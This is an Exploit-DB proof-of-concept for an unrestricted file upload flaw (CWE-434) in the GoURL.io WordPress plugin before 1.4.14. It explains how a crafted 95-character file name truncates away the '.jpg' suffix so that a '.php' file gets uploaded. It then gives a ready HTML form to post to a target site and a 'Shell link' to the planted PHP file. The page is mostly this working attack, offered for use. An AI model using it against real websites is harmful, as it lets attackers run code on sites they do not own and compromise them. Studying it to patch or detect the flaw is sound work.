WordPress Plugin GoURL.io < 1.4.14 - File Upload

EDB-ID:

47312

CVE:

N/A

EDB Verified:

Author:

Pouya Darabi

Type:

webapps

Exploit:   /  

Platform:

PHP

Date:

2018-10-31

Vulnerable App: 
<html>
    <!--

        GoURL Unrestricted Upload Vulnerablity POC by @pouyadarabi      
        CWE-434

        Vulnerable Fucntion: https://github.com/cryptoapi/Bitcoin-Wordpress-Plugin/blob/8aa17068d7ba31a05f66e0ab2bbb55efb0f60017/gourl.php#L5637
        
        Details:
        
          After checking file extention substring was used for file name to select first 95 letter line #5655
          So enter file name like "123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php.jpg"
          will upload a file with .php extention in website :)

    -->

<body>

    <!--

        Replace http://127.0.0.1/wp/ with target wordpress website
        Fill id param in form action to any active download product

    -->

    <form action="http://127.0.0.1/wp/?page=gourlfile&id=1" method="POST" enctype="multipart/form-data">

        <input type="file" name="gourlimage2" />
        <input type="submit"/>
        
    </form>

    <a href="http://127.0.0.1/wp/wp-content/uploads/gourl/images/i123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php">Shell link</a>

</body>

</html>
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